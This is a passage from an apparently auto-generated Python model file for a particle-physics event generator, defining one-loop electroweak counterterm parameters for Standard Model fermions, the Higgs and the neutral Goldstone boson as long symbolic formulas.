16*MW**2*MZ**4*sw**2 + 128*MT**4*MW**2*sw**4 + 64*MT**2*MW**2*MZ**2*sw**4 - 32*MW**2*MZ**4*sw**4)*(2*MT**2 - MZ**2 + cmath.sqrt(-4*MT**2*MZ**2 + MZ**4 + MT**2*vep*complex(0,4)))*reglog((-MZ**2 + cmath.sqrt(MZ**4 - 4*MT**2*(MZ**2 + vep*complex(0,-1))))/(2*MT**2 - MZ**2 + cmath.sqrt(MZ**4 - 4*MT**2*(MZ**2 + vep*complex(0,-1))))))/(768.*cw**2*MT**4*MW**2*(2*MT - MZ)*(2*MT + MZ)*cmath.pi**2*sw**2) + (ee**2*(-12*MT**4*MW**2 + 30*cw**2*MT**4*MZ**2 + 24*MT**2*MW**2*MZ**2 - 9*cw**2*MT**2*MZ**4 - 6*MW**2*MZ**4 - 160*MT**4*MW**2*sw**2 + 16*MW**2*MZ**4*sw**2 + 128*MT**4*MW**2*sw**4 + 64*MT**2*MW**2*MZ**2*sw**4 - 32*MW**2*MZ**4*sw**4)*(-2*MT**2 + MZ**2 + cmath.sqrt(-4*MT**2*MZ**2 + MZ**4 + MT**2*vep*complex(0,4)))*reglog((MZ**2 + cmath.sqrt(MZ**4 - 4*MT**2*(MZ**2 + vep*complex(0,-1))))/(-2*MT**2 + MZ**2 + cmath.sqrt(MZ**4 - 4*MT**2*(MZ**2 + vep*complex(0,-1))))))/(768.*cw**2*MT**4*MW**2*(2*MT - MZ)*(2*MT + MZ)*cmath.pi**2*sw**2) + (3*ee**2*(MH**2 - 2*MT**2)*reglog(-1 + (MH**2 - cmath.sqrt(MH**4 - 4*MT**2*(MH**2 + vep*complex(0,-1))))/(2.*MT**2)))/(128.*MW**2*cmath.pi**2*sw**2) + (3*ee**2*(MH**2 - 2*MT**2)*reglog(-1 + (MH**2 + cmath.sqrt(MH**4 - 4*MT**2*(MH**2 + vep*complex(0,-1))))/(2.*MT**2)))/(128.*MW**2*cmath.pi**2*sw**2) - (3*ee**2*(MH**2 - 2*MT**2)*(MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MT**2 + MT**2*vep*complex(0,4)))*reglog((MH**2 - 2*MT**2 + cmath.sqrt(MH**4 - 4*MH**2*MT**2 + MT**2*vep*complex(0,4)))/(MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MT**2 + MT**2*vep*complex(0,4)))))/(256.*MT**2*MW**2*cmath.pi**2*sw**2) + (3*ee**2*(MH**2 - 2*MT**2)*(-MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MT**2 + MT**2*vep*complex(0,4)))*reglog((-MH**2 + 2*MT**2 + cmath.sqrt(MH**4 - 4*MH**2*MT**2 + MT**2*vep*complex(0,4)))/(-MH**2 + cmath.sqrt(MH**4 - 4*MH**2*MT**2 + MT**2*vep*complex(0,4)))))/(256.*MT**2*MW**2*cmath.pi**2*sw**2))'+'+'+dMB_tWcft_UV_EW_L.value[0]},
texname = '\delta ZL_t^{EW}')
cWcft_UV_EW_L = CTParameter(name = 'cWcft_UV_EW_L',
type = 'complex',
value = {-1:'recms(CMSParam==1.0,-(ee**2*(18*cw**2 + (3 - 4*sw**2)**2))/(576.*cw**2*cmath.pi**2*sw**2))',
0:'recms(CMSParam==1.0,-(ee**2*(-9 - 18*cw**2 + 24*sw**2 - 16*sw**4 + 36*cw**2*reglog(MU_R**2/MW**2) + 2*(3 - 4*sw**2)**2*reglog(MU_R**2/MZ**2)))/(1152.*cw**2*cmath.pi**2*sw**2))'},
texname = '\delta ZL_c^{EW}')
uWcft_UV_EW_L = CTParameter(name = 'uWcft_UV_EW_L',
type = 'complex',
value = {-1:'recms(CMSParam==1.0,-(ee**2*(18*cw**2 + (3 - 4*sw**2)**2))/(576.*cw**2*cmath.pi**2*sw**2))',
0:'recms(CMSParam==1.0,-(ee**2*(-9 - 18*cw**2 + 24*sw**2 - 16*sw**4 + 36*cw**2*reglog(MU_R**2/MW**2) + 2*(3 - 4*sw**2)**2*reglog(MU_R**2/MZ**2)))/(1152.*cw**2*cmath.pi**2*sw**2))'},
texname = '\delta ZL_u^{EW}')
bWcft_UV_EW_L = CTParameter(name = 'bWcft_UV_EW_L',
type = 'complex',
value = {-1:'recms(CMSParam==1.0,-(ee**2*(MW**2*(18*cw**2 + (3 - 2*sw**2)**2) + 9*cw**2*MT**2*CKM33*complexconjugate(CKM33)))/(576.*cw**2*MW**2*cmath.pi**2*sw**2))'+'+'+dMB_bWcft_UV_EW_L.value[-1],
0:'recms(CMSParam==1.0,-(ee**2*(-9*MT**2*MW**2 - 18*cw**2*MT**2*MW**2 + 9*MW**4 + 18*cw**2*MW**4 + 12*MT**2*MW**2*sw**2 - 12*MW**4*sw**2 - 4*MT**2*MW**2*sw**4 + 4*MW**4*sw**4 + 27*cw**2*MT**4*CKM33*complexconjugate(CKM33) + 27*cw**2*MT**2*MW**2*CKM33*complexconjugate(CKM33) + 9*MT**2*MW**2*reglog(16) + 18*cw**2*MT**2*MW**2*reglog(16) - 9*MW**4*reglog(16) - 18*cw**2*MW**4*reglog(16) - 12*MT**2*MW**2*sw**2*reglog(16) + 12*MW**4*sw**2*reglog(16) + 4*MT**2*MW**2*sw**4*reglog(16) - 4*MW**4*sw**4*reglog(16) + 9*cw**2*MT**4*CKM33*complexconjugate(CKM33)*reglog(16) - 9*cw**2*MT**2*MW**2*CKM33*complexconjugate(CKM33)*reglog(16) + 18*MT**2*MW**2*reglog(cmath.pi) + 36*cw**2*MT**2*MW**2*reglog(cmath.pi) - 18*MW**4*reglog(cmath.pi) - 36*cw**2*MW**4*reglog(cmath.pi) - 24*MT**2*MW**2*sw**2*reglog(cmath.pi) + 24*MW**4*sw**2*reglog(cmath.pi) + 8*MT**2*MW**2*sw**4*reglog(cmath.pi) - 8*MW**4*sw**4*reglog(cmath.pi) + 18*cw**2*MT**4*CKM33*complexconjugate(CKM33)*reglog(cmath.pi) - 18*cw**2*MT**2*MW**2*CKM33*complexconjugate(CKM33)*reglog(cmath.pi) - 18*MT**2*MW**2*reglog(4*cmath.pi) - 36*cw**2*MT**2*MW**2*reglog(4*cmath.pi) + 18*MW**4*reglog(4*cmath.pi) + 36*cw**2*MW**4*reglog(4*cmath.pi) + 24*MT**2*MW**2*sw**2*reglog(4*cmath.pi) - 24*MW**4*sw**2*reglog(4*cmath.pi) - 8*MT**2*MW**2*sw**4*reglog(4*cmath.pi) + 8*MW**4*sw**4*reglog(4*cmath.pi) - 18*cw**2*MT**4*CKM33*complexconjugate(CKM33)*reglog(4*cmath.pi) + 18*cw**2*MT**2*MW**2*CKM33*complexconjugate(CKM33)*reglog(4*cmath.pi)))/(1152.*cw**2*(MT - MW)*MW**2*(MT + MW)*cmath.pi**2*sw**2) - (ee**2*MT**4*(MT**2 + 2*MW**2)*CKM33*complexconjugate(CKM33)*reglog(MU_R**2/MT**2))/(64.*(MT - MW)**2*MW**2*(MT + MW)**2*cmath.pi**2*sw**2) + (ee**2*(-2*MT**4 + 4*MT**2*MW**2 - 2*MW**4 + 4*MT**4*CKM33*complexconjugate(CKM33) - MT**2*MW**2*CKM33*complexconjugate(CKM33))*reglog(MU_R**2/MW**2))/(64.*(MT - MW)**2*(MT + MW)**2*cmath.pi**2*sw**2) - (ee**2*(-3 + 2*sw**2)**2*reglog(MU_R**2/MZ**2))/(576.*cw**2*cmath.pi**2*sw**2))'+'+'+dMB_bWcft_UV_EW_L.value[0]},
texname = '\delta ZL_b^{EW}')
sWcft_UV_EW_L = CTParameter(name = 'sWcft_UV_EW_L',
type = 'complex',
value = {-1:'recms(CMSParam==1.0,-(ee**2*(MW**2*(18*cw**2 + (3 - 2*sw**2)**2) + 9*cw**2*MT**2*CKM32*complexconjugate(CKM32)))/(576.*cw**2*MW**2*cmath.pi**2*sw**2))',
0:'recms(CMSParam==1.0,-(ee**2*(-9*MT**2*MW**2 - 18*cw**2*MT**2*MW**2 + 9*MW**4 + 18*cw**2*MW**4 + 12*MT**2*MW**2*sw**2 - 12*MW**4*sw**2 - 4*MT**2*MW**2*sw**4 + 4*MW**4*sw**4 + 27*cw**2*MT**4*CKM32*complexconjugate(CKM32) + 27*cw**2*MT**2*MW**2*CKM32*complexconjugate(CKM32) + 9*MT**2*MW**2*reglog(16) + 18*cw**2*MT**2*MW**2*reglog(16) - 9*MW**4*reglog(16) - 18*cw**2*MW**4*reglog(16) - 12*MT**2*MW**2*sw**2*reglog(16) + 12*MW**4*sw**2*reglog(16) + 4*MT**2*MW**2*sw**4*reglog(16) - 4*MW**4*sw**4*reglog(16) + 9*cw**2*MT**4*CKM32*complexconjugate(CKM32)*reglog(16) - 9*cw**2*MT**2*MW**2*CKM32*complexconjugate(CKM32)*reglog(16) + 18*MT**2*MW**2*reglog(cmath.pi) + 36*cw**2*MT**2*MW**2*reglog(cmath.pi) - 18*MW**4*reglog(cmath.pi) - 36*cw**2*MW**4*reglog(cmath.pi) - 24*MT**2*MW**2*sw**2*reglog(cmath.pi) + 24*MW**4*sw**2*reglog(cmath.pi) + 8*MT**2*MW**2*sw**4*reglog(cmath.pi) - 8*MW**4*sw**4*reglog(cmath.pi) + 18*cw**2*MT**4*CKM32*complexconjugate(CKM32)*reglog(cmath.pi) - 18*cw**2*MT**2*MW**2*CKM32*complexconjugate(CKM32)*reglog(cmath.pi) - 18*MT**2*MW**2*reglog(4*cmath.pi) - 36*cw**2*MT**2*MW**2*reglog(4*cmath.pi) + 18*MW**4*reglog(4*cmath.pi) + 36*cw**2*MW**4*reglog(4*cmath.pi) + 24*MT**2*MW**2*sw**2*reglog(4*cmath.pi) - 24*MW**4*sw**2*reglog(4*cmath.pi) - 8*MT**2*MW**2*sw**4*reglog(4*cmath.pi) + 8*MW**4*sw**4*reglog(4*cmath.pi) - 18*cw**2*MT**4*CKM32*complexconjugate(CKM32)*reglog(4*cmath.pi) + 18*cw**2*MT**2*MW**2*CKM32*complexconjugate(CKM32)*reglog(4*cmath.pi)))/(1152.*cw**2*(MT - MW)*MW**2*(MT + MW)*cmath.pi**2*sw**2) - (ee**2*MT**4*(MT**2 + 2*MW**2)*CKM32*complexconjugate(CKM32)*reglog(MU_R**2/MT**2))/(64.*(MT - MW)**2*MW**2*(MT + MW)**2*cmath.pi**2*sw**2) + (ee**2*(-2*MT**4 + 4*MT**2*MW**2 - 2*MW**4 + 4*MT**4*CKM32*complexconjugate(CKM32) - MT**2*MW**2*CKM32*complexconjugate(CKM32))*reglog(MU_R**2/MW**2))/(64.*(MT - MW)**2*(MT + MW)**2*cmath.pi**2*sw**2) - (ee**2*(-3 + 2*sw**2)**2*reglog(MU_R**2/MZ**2))/(576.*cw**2*cmath.pi**2*sw**2))'},
texname = '\delta ZL_s^{EW}')
dWcft_UV_EW_L = CTParameter(name = 'dWcft_UV_EW_L',
type = 'complex',
value = {-1:'recms(CMSParam==1.0,-(ee**2*(MW**2*(18*cw**2 + (3 - 2*sw**2)**2) + 9*cw**2*MT**2*CKM31*complexconjugate(CKM31)))/(576.*cw**2*MW**2*cmath.pi**2*sw**2))',
0:'recms(CMSParam==1.0,-(ee**2*(-9*MT**2*MW**2 - 18*cw**2*MT**2*MW**2 + 9*MW**4 + 18*cw**2*MW**4 + 12*MT**2*MW**2*sw**2 - 12*MW**4*sw**2 - 4*MT**2*MW**2*sw**4 + 4*MW**4*sw**4 + 27*cw**2*MT**4*CKM31*complexconjugate(CKM31) + 27*cw**2*MT**2*MW**2*CKM31*complexconjugate(CKM31) + 9*MT**2*MW**2*reglog(16) + 18*cw**2*MT**2*MW**2*reglog(16) - 9*MW**4*reglog(16) - 18*cw**2*MW**4*reglog(16) - 12*MT**2*MW**2*sw**2*reglog(16) + 12*MW**4*sw**2*reglog(16) + 4*MT**2*MW**2*sw**4*reglog(16) - 4*MW**4*sw**4*reglog(16) + 9*cw**2*MT**4*CKM31*complexconjugate(CKM31)*reglog(16) - 9*cw**2*MT**2*MW**2*CKM31*complexconjugate(CKM31)*reglog(16) + 18*MT**2*MW**2*reglog(cmath.pi) + 36*cw**2*MT**2*MW**2*reglog(cmath.pi) - 18*MW**4*reglog(cmath.pi) - 36*cw**2*MW**4*reglog(cmath.pi) - 24*MT**2*MW**2*sw**2*reglog(cmath.pi) + 24*MW**4*sw**2*reglog(cmath.pi) + 8*MT**2*MW**2*sw**4*reglog(cmath.pi) - 8*MW**4*sw**4*reglog(cmath.pi) + 18*cw**2*MT**4*CKM31*complexconjugate(CKM31)*reglog(cmath.pi) - 18*cw**2*MT**2*MW**2*CKM31*complexconjugate(CKM31)*reglog(cmath.pi) - 18*MT**2*MW**2*reglog(4*cmath.pi) - 36*cw**2*MT**2*MW**2*reglog(4*cmath.pi) + 18*MW**4*reglog(4*cmath.pi) + 36*cw**2*MW**4*reglog(4*cmath.pi) + 24*MT**2*MW**2*sw**2*reglog(4*cmath.pi) - 24*MW**4*sw**2*reglog(4*cmath.pi) - 8*MT**2*MW**2*sw**4*reglog(4*cmath.pi) + 8*MW**4*sw**4*reglog(4*cmath.pi) - 18*cw**2*MT**4*CKM31*complexconjugate(CKM31)*reglog(4*cmath.pi) + 18*cw**2*MT**2*MW**2*CKM31*complexconjugate(CKM31)*reglog(4*cmath.pi)))/(1152.*cw**2*(MT - MW)*MW**2*(MT + MW)*cmath.pi**2*sw**2) - (ee**2*MT**4*(MT**2 + 2*MW**2)*CKM31*complexconjugate(CKM31)*reglog(MU_R**2/MT**2))/(64.*(MT - MW)**2*MW**2*(MT + MW)**2*cmath.pi**2*sw**2) + (ee**2*(-2*MT**4 + 4*MT**2*MW**2 - 2*MW**4 + 4*MT**4*CKM31*complexconjugate(CKM31) - MT**2*MW**2*CKM31*complexconjugate(CKM31))*reglog(MU_R**2/MW**2))/(64.*(MT - MW)**2*(MT + MW)**2*cmath.pi**2*sw**2) - (ee**2*(-3 + 2*sw**2)**2*reglog(MU_R**2/MZ**2))/(576.*cw**2*cmath.pi**2*sw**2))'},
texname = '\delta ZL_d^{EW}')
tauWcft_UV_EW_L = CTParameter(name = 'tauWcft_UV_EW_L',
type = 'complex',
value = {-1:'recms(CMSParam==1.0,-(ee**2*(2*cw**2 + (1 - 2*sw**2)**2))/(64.*cw**2*cmath.pi**2*sw**2))',
0:'recms(CMSParam==1.0,-(ee**2*(-1 - 2*cw**2 + 4*sw**2 - 4*sw**4 + 4*cw**2*reglog(MU_R**2/MW**2) + 2*(1 - 2*sw**2)**2*reglog(MU_R**2/MZ**2)))/(128.*cw**2*cmath.pi**2*sw**2))'},
texname = '\delta ZL_tau^{EW}')
muWcft_UV_EW_L = CTParameter(name = 'muWcft_UV_EW_L',
type = 'complex',
value = {-1:'recms(CMSParam==1.0,-(ee**2*(2*cw**2 + (1 - 2*sw**2)**2))/(64.*cw**2*cmath.pi**2*sw**2))',
0:'recms(CMSParam==1.0,-(ee**2*(-1 - 2*cw**2 + 4*sw**2 - 4*sw**4 + 4*cw**2*reglog(MU_R**2/MW**2) + 2*(1 - 2*sw**2)**2*reglog(MU_R**2/MZ**2)))/(128.*cw**2*cmath.pi**2*sw**2))'},
texname = '\delta ZL_mu^{EW}')
eWcft_UV_EW_L = CTParameter(name = 'eWcft_UV_EW_L',
type = 'complex',
value = {-1:'recms(CMSParam==1.0,-(ee**2*(2*cw**2 + (1 - 2*sw**2)**2))/(64.*cw**2*cmath.pi**2*sw**2))',
0:'recms(CMSParam==1.0,-(ee**2*(-1 - 2*cw**2 + 4*sw**2 - 4*sw**4 + 4*cw**2*reglog(MU_R**2/MW**2) + 2*(1 - 2*sw**2)**2*reglog(MU_R**2/MZ**2)))/(128.*cw**2*cmath.pi**2*sw**2))'},
texname = '\delta ZL_e^{EW}')
vtWcft_UV_EW_L = CTParameter(name = 'vtWcft_UV_EW_L',
type = 'complex',
value = {-1:'recms(CMSParam==1.0,-((1 + 2*cw**2)*ee**2)/(64.*cw**2*cmath.pi**2*sw**2))',
0:'recms(CMSParam==1.0,-(ee**2*(-1 - 2*cw**2 + 4*cw**2*reglog(MU_R**2/MW**2) + 2*reglog(MU_R**2/MZ**2)))/(128.*cw**2*cmath.pi**2*sw**2))'},
texname = '\delta ZL_vt^{EW}')
vmWcft_UV_EW_L = CTParameter(name = 'vmWcft_UV_EW_L',
type = 'complex',
value = {-1:'recms(CMSParam==1.0,-((1 + 2*cw**2)*ee**2)/(64.*cw**2*cmath.pi**2*sw**2))',
0:'recms(CMSParam==1.0,-(ee**2*(-1 - 2*cw**2 + 4*cw**2*reglog(MU_R**2/MW**2) + 2*reglog(MU_R**2/MZ**2)))/(128.*cw**2*cmath.pi**2*sw**2))'},
texname = '\delta ZL_vm^{EW}')
veWcft_UV_EW_L = CTParameter(name = 'veWcft_UV_EW_L',
type = 'complex',
value = {-1:'recms(CMSParam==1.0,-((1 + 2*cw**2)*ee**2)/(64.*cw**2*cmath.pi**2*sw**2))',
0:'recms(CMSParam==1.0,-(ee**2*(-1 - 2*cw**2 + 4*cw**2*reglog(MU_R**2/MW**2) + 2*reglog(MU_R**2/MZ**2)))/(128.*cw**2*cmath.pi**2*sw**2))'},
texname = '\delta ZL_ve^{EW}')
HWcft_UV_EW = CTParameter(name = 'HWcft_UV_EW',
type = 'complex',
value = {-1:'recms(CMSParam==1.0 and WH != 0,(ee**2*((1 + 2*cw**2)*MW**2 - cw**2*MT**2*Ncol))/(32.*cw**2*MW**2*cmath.pi**2*sw**2))'+'+'+dMB_HWcft_UV_EW.value[-1],
0:'recms(CMSParam==1.0 and WH != 0,-(ee**2*((1 + 2*cw**2)*MW**2 - cw**2*MT**2*Ncol)*reglog(4*cmath.pi))/(32.*cw**2*MW**2*cmath.pi**2*sw**2) + (ee**2*((4*(4*MW**4 + cw**4*(3*MH**4 + 6*MW**4 - 4*MT**4*Ncol + MH**2*(MW**2*(2 + reglog(16) + 2*reglog(cmath.pi)) + MT**2*Ncol*(-1 - reglog(4*cmath.pi)))) + cw**2*MW**2*(-MZ**2 + MH**2*(1 + reglog(4*cmath.pi)))))/(cw**4*MH**2*MW**2) - (6*MH**2*reglog(MU_R**2/MH**2))/MW**2 + (8*MT**4*Ncol*reglog(MU_R**2/MT**2))/(MH**2*MW**2) + (4*(MH**4 - 4*MH**2*MW**2 + 12*MW**4)*reglog(MU_R**2/MW**2))/(MH**4 - 4*MH**2*MW**2) + (2*MZ**2*(cw**4*MH**4 + 16*MW**4 - 4*cw**2*MW**2*(MH**2 + MZ**2))*reglog(MU_R**2/MZ**2))/(cw**4*MH**2*MW**2*(MH**2 - 4*MZ**2)) - (2*(16*MW**4*(-MH**2 + 4*MW**2)*MZ**2 + 2*cw**2*MW**2*(MH**2 - 4*MW**2)*(MH**4 - 2*MH**2*MZ**2 + 2*MZ**4) + cw**4*(3*MH**8 - MH**6*(10*MW**2 + 13*MZ**2 + 2*MT**2*Ncol) + 32*MW**2*MZ**2*(3*MW**4 - 2*MT**4*Ncol) - 8*MH**2*(3*MW**6 - 4*MW**4*MZ**2 - 2*MT**4*MZ**2*Ncol - 2*MT**2*MW**2*(MT**2 - 2*MZ**2)*Ncol) + MH**4*(-8*MW**4 - 4*MT**2*(MT**2 - 2*MZ**2)*Ncol + MW**2*(44*MZ**2 + 8*MT**2*Ncol))))*reglog((MH**2 + vep*complex(0,-1))/MU_R**2))/(cw**4*MH**2*(MH - 2*MW)*MW**2*(MH + 2*MW)*(MH - 2*MZ)*(MH + 2*MZ)) + (4*MT**2*(MH**2 + 2*MT**2)*Ncol*reglog((-MH**2 - cmath.sqrt(MH**2*(MH**2 - 4*MT**2 + vep*complex(0,4))))/(2.*MH**2)))/(MH**2*MW**2) + (4*MT**2*(MH**2 + 2*MT**2)*Ncol*reglog((-MH**2 + cmath.sqrt(MH**2*(MH**2 - 4*MT**2 + vep*complex(0,4))))/(2.*MH**2)))/(MH**2*MW**2) - (2*MT**2*(MH**2 + 2*MT**2)*Ncol*(MH**2 + cmath.sqrt(MH**2*(MH**2 - 4*MT**2 + vep*complex(0,4))))*reglog((-MH**2 + cmath.sqrt(MH**2*(MH**2 - 4*MT**2 + vep*complex(0,4))))/(MH**2 + cmath.sqrt(MH**2*(MH**2 - 4*MT**2 + vep*complex(0,4))))))/(MH**4*MW**2) - (2*MT**2*(MH**2 + 2*MT**2)*Ncol*(MH**2 - cmath.sqrt(MH**2*(MH**2 - 4*MT**2 + vep*complex(0,4))))*reglog((MH**2 + cmath.sqrt(MH**2*(MH**2 - 4*MT**2 + vep*complex(0,4))))/(-MH**2 + cmath.sqrt(MH**2*(MH**2 - 4*MT**2 + vep*complex(0,4))))))/(MH**4*MW**2) - (4*(MH**2 - 6*MW**2)*(MH**2 + 2*MW**2)*reglog((-MH**2 - cmath.sqrt(MH**2*(MH**2 - 4*MW**2 + vep*complex(0,4))))/(2.*MH**2)))/(MH**4 - 4*MH**2*MW**2) - (4*(MH**2 - 6*MW**2)*(MH**2 + 2*MW**2)*reglog((-MH**2 + cmath.sqrt(MH**2*(MH**2 - 4*MW**2 + vep*complex(0,4))))/(2.*MH**2)))/(MH**4 - 4*MH**2*MW**2) + (2*(MH**2 - 6*MW**2)*(MH**2 + 2*MW**2)*(MH**2 + cmath.sqrt(MH**2*(MH**2 - 4*MW**2 + vep*complex(0,4))))*reglog((-MH**2 + cmath.sqrt(MH**2*(MH**2 - 4*MW**2 + vep*complex(0,4))))/(MH**2 + cmath.sqrt(MH**2*(MH**2 - 4*MW**2 + vep*complex(0,4))))))/(MH**6 - 4*MH**4*MW**2) + (2*(MH**2 - 6*MW**2)*(MH**2 + 2*MW**2)*(MH**2 - cmath.sqrt(MH**2*(MH**2 - 4*MW**2 + vep*complex(0,4))))*reglog((MH**2 + cmath.sqrt(MH**2*(MH**2 - 4*MW**2 + vep*complex(0,4))))/(-MH**2 + cmath.sqrt(MH**2*(MH**2 - 4*MW**2 + vep*complex(0,4))))))/(MH**6 - 4*MH**4*MW**2) + (2*(cw**4*MH**4*MZ**2 + 16*MW**4*MZ**2 - 2*cw**2*MW**2*(MH**4 - 2*MH**2*MZ**2 + 2*MZ**4))*reglog((-MH**2 - cmath.sqrt(MH**2*(MH**2 - 4*MZ**2 + vep*complex(0,4))))/(2.*MH**2)))/(cw**4*MH**2*MW**2*(MH**2 - 4*MZ**2)) + (2*(cw**4*MH**4*MZ**2 + 16*MW**4*MZ**2 - 2*cw**2*MW**2*(MH**4 - 2*MH**2*MZ**2 + 2*MZ**4))*reglog((-MH**2 + cmath.sqrt(MH**2*(MH**2 - 4*MZ**2 + vep*complex(0,4))))/(2.*MH**2)))/(cw**4*MH**2*MW**2*(MH**2 - 4*MZ**2)) - ((cw**4*MH**4*MZ**2 + 16*MW**4*MZ**2 - 2*cw**2*MW**2*(MH**4 - 2*MH**2*MZ**2 + 2*MZ**4))*(MH**2 + cmath.sqrt(MH**2*(MH**2 - 4*MZ**2 + vep*complex(0,4))))*reglog((-MH**2 + cmath.sqrt(MH**2*(MH**2 - 4*MZ**2 + vep*complex(0,4))))/(MH**2 + cmath.sqrt(MH**2*(MH**2 - 4*MZ**2 + vep*complex(0,4))))))/(cw**4*MH**4*MW**2*(MH**2 - 4*MZ**2)) + ((cw**4*MH**4*MZ**2 + 16*MW**4*MZ**2 - 2*cw**2*MW**2*(MH**4 - 2*MH**2*MZ**2 + 2*MZ**4))*(-MH**2 + cmath.sqrt(MH**2*(MH**2 - 4*MZ**2 + vep*complex(0,4))))*reglog((MH**2 + cmath.sqrt(MH**2*(MH**2 - 4*MZ**2 + vep*complex(0,4))))/(-MH**2 + cmath.sqrt(MH**2*(MH**2 - 4*MZ**2 + vep*complex(0,4))))))/(cw**4*MH**4*MW**2*(MH**2 - 4*MZ**2)) + (3*(MH**2 + cmath.sqrt(-3*MH**4 + MH**2*vep*complex(0,4)))*reglog((-MH**2 + cmath.sqrt(-3*MH**4 + MH**2*vep*complex(0,4)))/(MH**2 + cmath.sqrt(-3*MH**4 + MH**2*vep*complex(0,4)))))/MW**2 - (3*(-MH**2 + cmath.sqrt(-3*MH**4 + MH**2*vep*complex(0,4)))*reglog((MH**2 + cmath.sqrt(-3*MH**4 + MH**2*vep*complex(0,4)))/(-MH**2 + cmath.sqrt(-3*MH**4 + MH**2*vep*complex(0,4)))))/MW**2 - (6*MH**2*reglog(-0.5 - cmath.sqrt(-3*MH**4 + MH**2*vep*complex(0,4))/(2.*MH**2)))/MW**2 - (6*MH**2*reglog(-0.5 + cmath.sqrt(-3*MH**4 + MH**2*vep*complex(0,4))/(2.*MH**2)))/MW**2))/(128.*cmath.pi**2*sw**2))'+'+'+dMB_HWcft_UV_EW.value[0]},
texname = '\delta Z_{H}^{EW}')
G0Wcft_UV_EW = CTParameter(name = 'G0Wcft_UV_EW',
type = 'complex',
value = {-1:'recms(CMSParam==1.0 and WZ != 0,(ee**2*((1 + 2*cw**2)*MW**2 - cw**2*MT**2*Ncol))/(32.*cw**2*MW**2*cmath.pi**2*sw**2))'+'+'+dMB_G0Wcft_UV_EW.value[-1],
0:'recms(CMSParam==1.0 and WZ != 0,-(ee**2*((1 + 2*cw**2)*MW**2 - cw**2*MT**2*Ncol)*reglog(4*cmath.pi))/(32.*cw**2*MW**2*cmath.pi**2*sw**2) + (ee**2*((2*(MW**2*(-2*MH**2 + MZ**2*(3 + reglog(16) + 2*reglog(cmath.pi))) + cw**2*(MH**4 + MZ**2*(MT**2*Ncol*(-2 - reglog(16) - 2*reglog(cmath.pi)) + MW**2*(4 + reglog(256) + 4*reglog(cmath.pi))))))/(cw**2*MW**2*MZ**2) - (2*(MH**2 - 2*MZ**2)*(cw**2*MH**4 - MW**2*(2*MH**2 + MZ**2))*reglog(MU_R**2/MH**2))/(cw**2*MW**2*MZ**2*(MH**2 - 4*MZ**2)) - (8*MT**4*Ncol*reglog(MU_R**2/MT**2))/(MW**2*(4*MT**2 - MZ**2)) + (16*MW**2*reglog(MU_R**2/MW**2))/(4*MW**2 - MZ**2) + (2*(cw**2*MH**4 - MW**2*(2*MH**2 + MZ**2))*reglog(MU_R**2/MZ**2))/(cw**2*MW**2*(MH**2 - 4*MZ**2)) - (2*(MW**2*(4*MT**2 - MZ**2)*(-4*MW**2 + MZ**2)*(2*MH**4 - 7*MH**2*MZ**2 + 5*MZ**4) + cw**2*(-(MH**6*(4*MT**2 - MZ**2)*(-4*MW**2 + MZ**2)) - 3*MH**4*MZ**2*(-4*MT**2 + MZ**2)*(-4*MW**2 + MZ**2) - 2*MH**2*MZ**2*(4*MW**4*MZ**2 - 2*MW**2*MZ**4 + MT**4*(8*MW**2*Ncol - 2*MZ**2*Ncol) + MT**2*(-16*MW**4 - 4*MW**2*MZ**2*(-2 + Ncol) + MZ**4*Ncol)) + 8*MZ**4*(4*MW**4*MZ**2 - 2*MW**2*MZ**4 + MT**4*(8*MW**2*Ncol - 2*MZ**2*Ncol) + MT**2*(-16*MW**4 - 4*MW**2*MZ**2*(-2 + Ncol) + MZ**4*Ncol))))*reglog((MZ**2 + vep*complex(0,-1))/MU_R**2))/(cw**2*MW**2*(2*MW - MZ)*MZ**2*(-2*MT + MZ)*(2*MT + MZ)*(2*MW + MZ)*(-MH + 2*MZ)*(MH + 2*MZ)) + (2*(cw**2*(MH**6 - 3*MH**4*MZ**2) + MW**2*(-2*MH**4 + 7*MH**2*MZ**2 - 5*MZ**4))*reglog(-1 + (MH**2 - cmath.sqrt(MH**4 - 4*MZ**2*(MH**2 + vep*complex(0,-1))))/(2.*MZ**2)))/(cw**2*MW**2*MZ**2*(-MH**2 + 4*MZ**2)) + (2*(cw**2*(MH**6 - 3*MH**4*MZ**2) + MW**2*(-2*MH**4 + 7*MH**2*MZ**2 - 5*MZ**4))*reglog(-1 + (MH**2 + cmath.sqrt(MH**4 - 4*MZ**2*(MH**2 + vep*complex(0,-1))))/(2.*MZ**2)))/(cw**2*MW**2*MZ**2*(-MH**2 + 4*MZ**2)) + (4*MT**2*(2*MT**2 - MZ**2)*Ncol*reglog((-MZ**2 - cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))/(2.*MZ**2)))/(MW**2*(4*MT**2 - MZ**2)) + (4*MT**2*(2*MT**2 - MZ**2)*Ncol*reglog((-MZ**2 + cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))/(2.*MZ**2)))/(MW**2*(4*MT**2 - MZ**2)) + (2*MT**2*(2*MT**2 - MZ**2)*Ncol*(MZ**2 + cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))*reglog((-MZ**2 + cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))/(MZ**2 + cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))))/(MW**2*MZ**2*(-4*MT**2 + MZ**2)) + (2*MT**2*(2*MT**2 - MZ**2)*Ncol*(MZ**2 - cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))*reglog((MZ**2 + cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))/(-MZ**2 + cmath.sqrt(MZ**2*(-4*MT**2 + MZ**2 + vep*complex(0,4))))))/(MW**2*MZ**2*(-4*MT**2 + MZ**2)) - (8*(2*MW**2 - MZ**2)*reglog((-MZ**2 - cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))/(2.*MZ**2)))/(4*MW**2 - MZ**2) - (8*(2*MW**2 - MZ**2)*reglog((-MZ**2 + cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))/(2.*MZ**2)))/(4*MW**2 - MZ**2) + (4*(-2*MW**2 + MZ**2)*(MZ**2 + cmath.sqrt(MZ**2*(-4*MW**2 + MZ**2 + vep*complex(0,4))))*reglog((-MZ**2 + 